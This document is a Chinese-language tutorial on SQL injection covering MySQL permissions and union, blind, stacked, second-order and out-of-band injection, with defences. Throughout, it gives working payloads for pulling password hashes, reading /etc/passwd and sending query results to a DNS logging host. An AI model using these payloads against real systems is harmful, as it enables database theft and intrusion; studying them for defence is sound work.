SQL注入

SQL注入
EZL1NGSQL注入
数据库种类与架构对比分析
一、Access 数据库架构解析
1. 用户管理特性
- 无独立用户体系:采用文件系统权限管理
- 全库共享访问:通过文件共享密码保护(脆弱性高)
- 典型应用场景:单机小型应用/历史遗留系统
1 | graph TD |
2. 安全缺陷分析
- 无细粒度权限控制
- 连接字符串存储密码(Base64可逆)
- 最大支持2GB数据量(Access 2016+)
3. 数据存储示例
1 | D:/data/ |
二、MySQL 数据库架构解析
1. 管理模式
用户模式:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22graph TD
subgraph 统一管理模式
root[Root用户] --> dbA[testA数据库]
root --> dbB[testB数据库]
dbA --> siteA(网站A)
dbB --> siteB(网站B)
end
subgraph 独立用户模式
userA[testA用户] -->|专属管理| dbA2[testA数据库]
userB[testB用户] -->|专属管理| dbB2[testB数据库]
dbA2 --> siteA2(网站A)
dbB2 --> siteB2(网站B)
end
classDef user fill:#f9d5e5,stroke:#c81d76;
classDef db fill:#e3f2fd,stroke:#2196f3;
classDef site fill:#c8e6c9,stroke:#4caf50;
class root,userA,userB user
class dbA,dbB,dbA2,dbB2 db
class siteA,siteB,siteA2,siteB2 site
统一管理(Root用户)
1 | -- 创建数据库 |
- 所有数据库共享root账号
- 权限范围:全局超级权限(CREATE USER, FILE, SHUTDOWN等)
- 风险指数:⭐⭐⭐⭐⭐
- 适用场景:本地开发环境
用户隔离管理(推荐方案)
1 | -- 创建专有用户 |
安全实践:
- 遵循最小权限原则
- 限制登录IP范围(@’192.168.1.%’)
- 定期轮换密码(每90天)
- 禁用通配符主机名(避免使用@’%’)
2. 结构
1 | mysql |
SQL注入深度解析
基本简介
攻击类型图谱
1 | graph TD |
攻击影响范围
数据泄露(SELECT)
数据篡改(UPDATE/DELETE)
权限提升(GRANT/EXECUTE)
文件操作(LOAD_FILE/OUTFILE)
系统命令执行(通过xp_cmdshell)
PHP-MYSQL-SQL常规查询
获取相关数据:
- 数据库版本-看是否符合information_schema查询-version()
- 数据库用户-看是否符合ROOT型注入攻击-user()
- 当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
- 数据库名字-为后期猜解指定数据库下的表,列做准备-database()
MYSQL5.0以上版本:
自带的数据库名 information_schema
information_schema
:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata
:记录数据库名信息的表
information_schema.tables
:记录表名信息的表
information_schema.columns
:记录列名信息表
schema_name
:information_schema.schemata
记录数据库名信息的列名值
table_schema
:information_schema.tables
记录数据库名的列名值
table_name
:information_schema.tables
记录表名的列名值
column_name
:information_schema.columns
记录列名的列名值
注入查询含义 依赖-information_schema
通过 information_schema
分步窃取数据库信息的典型流程(以下以 demo01
数据库为例):
步骤 1:探测列数
1 | order by 6 -- 探测原始查询的列数(若页面正常,说明列数为6) |
- 目的:确保
UNION SELECT
的列数与原始查询一致。
步骤 2:确认回显位置
1 | union select 1,2,3,4,5,6 -- 观察页面显示哪些数字(如显示4,5) |
- 作用:确定哪些列会被输出到页面,用于后续注入数据展示。
步骤 3:获取基础信息
1 | union select 1,2,3,database(),user(),6 |
- 输出结果:
database()
:当前数据库名(如demo01
)。user()
:当前数据库用户(如root@localhost
)。
步骤 4:获取数据库所有表名
1 | union select 1,2,3,4,group_concat(table_name),6 |
- 结果示例:
admin,users,products
- 原理:从
information_schema.tables
筛选demo01
库的表名。
步骤 5:获取目标表的列名
1 | union select 1,2,3,4,group_concat(column_name),6 |
- 结果示例:
id,username,password
- 原理:从
information_schema.columns
筛选admin
表的字段名。
步骤 6:窃取目标数据
1 | union select 1,2,3,username,password,6 from admin |
- 结果示例:
admin, 5f4dcc3b5aa765d61d8327deb882cf99
(明文密码password
的 MD5 值)
1 | order by 6 |
PHP-MYSQL-SQL跨库查询(Root用户)
1. 跨库查询概念
含义
通过攻击存在 SQL 注入漏洞的网站 B,利用数据库权限(如 ROOT
)直接访问其他数据库 A 的数据(例如窃取 A 数据库的账号密码)。
- 核心条件:当前数据库用户需具有 高权限(如
ROOT
或具备跨库访问权限)。 - 示例场景:
攻击者发现网站 B 存在注入漏洞,且其数据库用户为ROOT
,则可直接查询同一 MySQL 实例下的其他数据库(如网站 A 的数据库)。
影响条件
- 数据库用户权限:必须为
ROOT
或具备FILE
、SUPER
等高权限。 - 数据库配置:MySQL 实例需允许跨库访问(默认同一实例下的数据库可跨库查询)。
- 注入漏洞存在:目标网站存在未修复的 SQL 注入漏洞。
2. 跨库攻击示例分析
2.1 信息收集阶段
(1) 获取所有数据库名
1 | http://IP/new.php?id=1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata |
- 原理:通过
information_schema.schemata
系统表获取所有数据库名称。 - 结果:返回类似
mysql,information_schema,demo01,zblog
的字符串。
(2) 获取目标数据库的表名
1 | http://IP/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='zblog' |
- 目标:获取
zblog
数据库的所有表名。 - 结果:如
zbp_member,zbp_post
。
(3) 获取目标表的列名
1 | http://IP/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='zblog' and table_name='zbp_member' |
- 目标:获取
zbp_member
表的字段名。 - 结果:如
mem_Name,mem_Password,mem_Email
。
2.2 数据窃取阶段
1 | http://IP/new.php?id=1 union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member |
- 直接跨库查询:通过
zblog.zbp_member
语法访问其他数据库的表。 - 结果:返回
zblog
数据库中的用户账号和密码(如admin, 5f4dcc3b5aa765d61d8327deb882cf99
)。
3. 绕过单引号过滤的技巧
当应用程序过滤单引号('
)时,可采用以下方法绕过:
方法 1:十六进制编码
- 原始语句:
where table_schema='zblog'
- 绕过:
where table_schema=0x7A626C6F67
zblog
的十六进制为7A626C6F67
。
- 优点:完全避免使用单引号。
方法 2:使用 CHAR()
函数
- 绕过:
where table_schema=CHAR(122,98,108,111,103)
z
=122,b
=98,l
=108,o
=111,g
=103。
方法 3:隐式类型转换
- 绕过:
where table_schema=CONCAT('z','blo','g')
- 拆解字符串,避免直接使用完整单引号字符串。
规则总结
- 单引号与编码二选一:若使用单引号,需保证其未被过滤;若过滤严格,则优先使用十六进制或
CHAR()
函数。
4. 攻击优化技巧
缩短 Payload
使用
LIMIT
分页代替group_concat
,减少请求长度:1
union select 1,2,table_name,4 from information_schema.tables limit 0,1
使用简写函数,如
@@version
代替version()
。
盲注代替联合查询
若页面无回显,使用布尔盲注或时间盲注:
1
and if(substr(database(),1,1)='a', sleep(5),0)
自动化工具
使用
sqlmap
自动探测跨库漏洞:1
sqlmap -u "http://IP/new.php?id=1" --dbs --threads 10
5. 防御措施
(1)数据库层
最小权限原则:禁止使用
ROOT
账户连接数据库,分配仅具备必要权限的账户。禁用跨库访问:通过 MySQL 配置限制用户权限(需重启服务):
1
GRANT SELECT ON demo01.* TO 'user'@'localhost'; -- 仅允许访问特定库
(2)代码层
- 参数化查询:使用预处理语句(如 PDO 的
prepare()
和bindParam()
)。 - 输入过滤:严格校验用户输入,过滤敏感字符(如单引号、
UNION
、SELECT
)。
(3)WAF 防护
- 部署 Web 应用防火墙,拦截包含
information_schema
、union select
等关键词的请求。
SQL注入类型
1.数字型注入(无符号干扰)
特征:
SELECT * FROM news WHERE id=$id
攻击示例:
1
?id=1 UNION SELECT 1,user(),3--
绕过难点:需保持数值类型有效性
突破方案:
- 末尾注释保持语法正确
- 使用算术运算:
1+UNION/**/SELECT...
- 嵌套查询:
1 AND (SELECT ...)
2. 字符型注入(单引号干扰)
特征:
SELECT * FROM news WHERE id='$id'
攻击示例:
1
?id=1' UNION SELECT 1,@@version,3 --+
闭合技巧:
- 多级闭合:
' OR '1'='1' --
- 转义突破:
\' OR 1=1 --
- Unicode编码:
%27%20OR%201=1--
- 多级闭合:
3. 搜索型注入(通配符干扰)
特征:
SELECT * FROM news WHERE id LIKE '%$id%'
攻击矩阵:
输入 生成SQL test%’ AND… LIKE ‘%test%’ AND 1=1 – %’ _’ UNION… LIKE ‘%_%’ UNION… 高级payload:
1
%' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects)) --
4. 框架型注入(复合符号干扰)
特征案例:
1
2
3SELECT * FROM users WHERE id = ('$id');
SELECT * FROM users WHERE (id = '$id');
SELECT * FROM users WHERE (id = ('$id'));突破策略:
- 多层闭合:
')) OR 1=1 --
- 参数逃逸:
1
?id=') UNION SELECT 1,(SELECT LOAD_FILE('/etc/passwd')),3) --
- 多层闭合:
5.编码类
特征案例:
1
2
3
4?m=admin&c=index&a=login&pc_hash=
#base64
P209YWRtaW4mYz1pbmRleCZhPWxvZ2luJnBjX2hhc2g9
6.盲注类
[**SQL 盲注分类与原理**](#**SQL 盲注分类与原理**)
7.二次注入&堆叠&DNS带外
SQL 盲注分类与原理
1. 基于布尔的盲注(Boolean-Based)
原理:通过页面返回的 真假状态差异(如内容存在/缺失、HTTP 状态码变化)推断数据。
使用条件
- 页面存在真假状态差异
应用程序对 SQL 查询的 真假结果返回不同的响应,例如:- 页面内容变化(如显示“存在”或“不存在”)。
- HTTP 状态码不同(如 200 OK 或 404 Not Found)。
- 特定关键词出现或消失(如“用户名错误”或“密码错误”)。
- 无直接数据回显
无法通过联合查询(UNION SELECT
)直接获取数据,但能通过逻辑条件间接推断。
典型场景
- 登录表单根据用户名是否存在返回不同提示。
- 商品详情页根据查询条件返回“有库存”或“无库存”。
- 搜索功能中,存在结果时显示列表,否则显示“无结果”。
- 页面存在真假状态差异
关键函数:
1
2
3
4
5
6LIKE 'a%' -- 判断开头字符
REGEXP '^p' -- 正则匹配首字符
ASCII('a')=97 -- 字符转ASCII码
SUBSTR(str,1,1) -- 截取字符串
LEFT(str,1) -- 取左侧N位字符
ORD('a') -- 等效ASCII()攻击示例:
1
AND (SELECT SUBSTR(database(),1,1)='p') -- 逐字符爆破数据库名
1
' AND (SELECT SUBSTRING(database(),1,1)='a') --
若数据库名的第一个字符是
a
,页面正常显示;否则返回错误或空白。
2. 基于时间的盲注(Time-Based)
原理:通过 人为制造延迟(如
sleep(2)
)观察响应时间差异判断条件真假。使用条件
- 页面无真假状态反馈
应用程序对所有查询的响应 完全一致(如统一返回空白或相同页面)。 - 可触发延迟函数
数据库支持SLEEP()
、BENCHMARK()
等函数,且未被过滤。 - 网络延迟可控
攻击者能通过响应时间差异(如 2 秒 vs 0 秒)判断条件真假。
典型场景
- 后台管理页面无论查询结果如何均返回“操作成功”。
- 数据提交接口无内容回显,仅返回 HTTP 200 状态码。
- 防火墙屏蔽了错误信息,但允许时间延迟。
- 页面无真假状态反馈
关键函数:
1
2
3SLEEP(5) -- 强制延迟
IF(condition, SLEEP(5), 0) -- 条件判断触发延迟
BENCHMARK(1000000,MD5('test')) -- 利用计算消耗时间攻击示例:
1
AND IF(ASCII(SUBSTR(database(),1,1))=112, SLEEP(5), 0) -- 判断首字符为'p'时延迟
1
' AND IF(ASCII(SUBSTR(database(),1,1))=112, SLEEP(5), 0) --
若数据库名的第一个字符 ASCII 码为
112
(即字母p
),页面响应延迟 5 秒。
3. 基于报错的盲注(Error-Based)
原理:故意触发SQL错误,使数据库返回错误信息(包含敏感数据)。
使用条件
- 错误信息回显
应用程序将数据库的 错误详情直接返回给前端(如 SQL 语法错误、类型转换错误)。 - 特定函数可用
数据库支持能触发错误的函数(如UPDATEXML()
、EXTRACTVALUE()
、FLOOR()
)。 - 未被错误过滤
服务器未屏蔽或重定向数据库错误(如display_errors=Off
未开启)。
典型场景
- 开发环境或测试环境未关闭错误调试功能。
- 接口直接返回 SQL 错误堆栈(如
You have an error in your SQL syntax
)。 - 使用
mysql_error()
或类似函数直接输出错误到页面。
- 错误信息回显
关键函数:
1
2
3
4UPDATEXML(1, CONCAT(0x7e,(SELECT USER()),0x7e),1) -- XML解析错误
EXTRACTVALUE(1, CONCAT(0x5c,(SELECT DATABASE()))) -- XPath语法错误
FLOOR(RAND(0)*2) -- 主键重复报错
EXP(~(SELECT * FROM(SELECT USER())x)) -- 数值溢出错误攻击示例:
1
AND EXTRACTVALUE(1, CONCAT(0x5c,(SELECT table_name FROM information_schema.tables LIMIT 1)))
自动化盲注工具与技巧
手工探测:使用
Burp Suite Intruder
或Python脚本
逐字符爆破。工具利用:
SQLMap:自动识别盲注类型并提取数据。
1
sqlmap -u "http://site.com?id=1" --technique=B/T/E --dbs
Payloads:预构建盲注字典(如
AND (SELECT 1 FROM (SELECT SLEEP(5))
)
防御盲注的最佳实践
参数化查询(Prepared Statements):
1
2$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);输入过滤与白名单:
- 过滤特殊字符(如
'
,"
,#
,--
)。 - 对数字类型强制类型转换:
$id = (int)$_GET['id'];
- 过滤特殊字符(如
错误处理:
- 关闭详细错误回显(
display_errors=Off
)。 - 自定义统一错误页面,避免泄露数据库信息。
- 关闭详细错误回显(
权限控制:
- 数据库账户使用最小权限原则,禁止非必要
SELECT/UNION
操作。
- 数据库账户使用最小权限原则,禁止非必要
对比总结
盲注类型 | 使用条件 | 优点 | 缺点 |
---|---|---|---|
布尔盲注 | 页面存在真假状态差异 | 效率较高,适合自动化工具 | 需多次请求,易被日志记录 |
时间盲注 | 页面无反馈,但允许延迟函数 | 隐蔽性强,绕过部分防火墙 | 速度极慢,依赖网络稳定性 |
报错盲注 | 错误信息回显且触发函数可用 | 快速获取数据(单次请求) | 依赖错误回显配置 |
选择盲注类型的实战思路
- 探测响应差异
- 提交
' AND 1=1 --
和' AND 1=2 --
,观察页面是否有变化。 - 若有变化 → 布尔盲注。
- 若无变化 → 尝试时间或报错盲注。
- 提交
- 测试错误回显
- 提交
' AND 1=abc --
(故意制造错误)。 - 若返回数据库错误详情 → 报错盲注。
- 提交
- 验证延迟函数
- 提交
' AND SLEEP(5) --
。 - 若页面响应延迟 → 时间盲注。
- 提交
附:盲注利用速查表
类型 | 判断依据 | 典型Payload |
---|---|---|
布尔盲注 | 页面内容/状态码变化 | AND (SELECT SUBSTR(database(),1,1)='a') |
时间盲注 | 响应延迟 | IF(1=1,SLEEP(5),0) |
报错盲注 | 数据库错误信息回显 | AND UPDATEXML(1,CONCAT(0x7e,@@VERSION),1) |
二次注入&堆叠&DNS带外
二次注入
1. 原理剖析
插入阶段:攻击者提交恶意数据(如
admin'#
),被转义函数(如addslashes()
)处理后存储为admin\'#
,数据库实际存储原始数据admin'#
。触发阶段:当程序从数据库读取该数据并直接用于SQL操作(如修改密码),拼接语句变为:
1
UPDATE users SET password='new_pass' WHERE username='admin'#'
#'
注释后续条件,导致修改管理员密码。
2. 疑问与解答
- Q:为何转义后仍存在风险?
A:转义仅防止插入时语法错误,但数据库存储原始数据。后续若未二次处理,直接使用则触发注入。
3. 防御实践
- 输入输出双过滤:插入时转义,读取时再次验证(如过滤单引号)。
- 预编译语句:使用PDO或mysqli预处理,确保数据与逻辑分离。
堆叠注入
1. 核心机制
分号分隔:利用
;
执行多条SQL语句,如:1
SELECT * FROM users; DROP TABLE users;
依赖条件:需使用
mysqli_multi_query()
等支持多语句的函数,且未过滤分号。
2. 2019强网杯案例解析
绕过过滤:题目过滤
select
等关键字,采用预处理+十六进制绕过:1
;SET @sql=0x73656c65637420666c61672066726f6d206031393139383130393331313134353134603b20; PREPARE stmt FROM @sql; EXECUTE stmt;
- 关键步骤:
- 将select flag from
1919810931114514
; 转为十六进制。 - 通过
PREPARE
创建预处理语句,避免直接使用关键字。
- 将select flag from
- 关键步骤:
3. 防御策略
- 禁用多语句执行:使用
mysqli_query()
替代mysqli_multi_query()
。 - 输入过滤:严格过滤
;
及危险关键字(如UNION
、DROP
)。
带外注入(OOB)
1. 原理与工具
外带通道:利用数据库函数(如
LOAD_FILE()
)发起DNS或HTTP请求,携带查询结果。1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password),'.dnslog.cn\\abc'));
平台使用:通过DNSLog(如
ceye.io
或www.dnslog.cn
)查看请求记录,获取数据。
2. 关键条件
- 高权限:需
FILE
权限(通常为ROOT用户)。 - 网络连通:数据库可外连DNS/HTTP服务。
3. 防御手段
- 权限最小化:禁止普通用户使用
LOAD_FILE
等高危函数。 - 网络隔离:限制数据库出站流量,仅允许必要通信。
综合对比与实战场景
注入类型 | 触发场景 | 利用条件 | 防御重点 |
---|---|---|---|
二次注入 | 数据多次使用(如注册后修改) | 插入转义,后续未过滤 | 输入输出双重验证 |
堆叠注入 | 支持多语句执行的功能点 | 未过滤分号,使用multi_query | 禁用多语句,严格过滤语法符号 |
带外注入 | 无回显的盲注场景 | ROOT权限,允许外连请求 | 限制函数权限,监控外连行为 |
CTF实战技巧扩展
- 堆叠注入绕过技巧:
- 预处理语句:避免直接使用关键字。
- 编码绕过:十六进制/URL编码混淆敏感操作。
- 系统表利用:通过
information_schema
查表结构。
- 带外注入变种:
- HTTP带外:利用
http_get()
(需特定环境)外传数据。 - 时间盲注结合:若无法外连,使用
SLEEP()
+条件判断逐位提取数据。
- HTTP带外:利用
数据请求攻击
1. 请求源分类
请求类型 | 示例变量 | 注入案例 |
---|---|---|
常规参数 | $_GET[‘id’] | ?id=1’ UNION SELECT… |
文件上传 | $_FILES[‘file’][‘name’] | filename’+(SELECT @@version)+’.jpg |
HTTP头注入 | $_SERVER[‘HTTP_REFERER’] | 修改Referer头为恶意SQL语句 |
服务端参数 | $_SERVER[‘REMOTE_ADDR’] | X-Forwarded-For: 1.1.1.1’+(SELECT…) |
2. 特殊攻击向量
Cookie注入:
1
2
3
4
5
6// 漏洞代码
$user = $_COOKIE['user'];
$sql = "SELECT * FROM users WHERE user='$user'";
// 攻击payload
document.cookie = "user=admin' OR '1'='1";X-Forwarded-For注入:
1
2GET /admin.php
X-Forwarded-For: 8.8.8.8',(SELECT COUNT(*) FROM users)) --文件元数据注入:
1
2
3// 上传文件名:' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3 --
move_uploaded_file($_FILES['file']['tmp_name'], $path);
$sql = "INSERT INTO files (name) VALUES ('{$_FILES['file']['name']}')";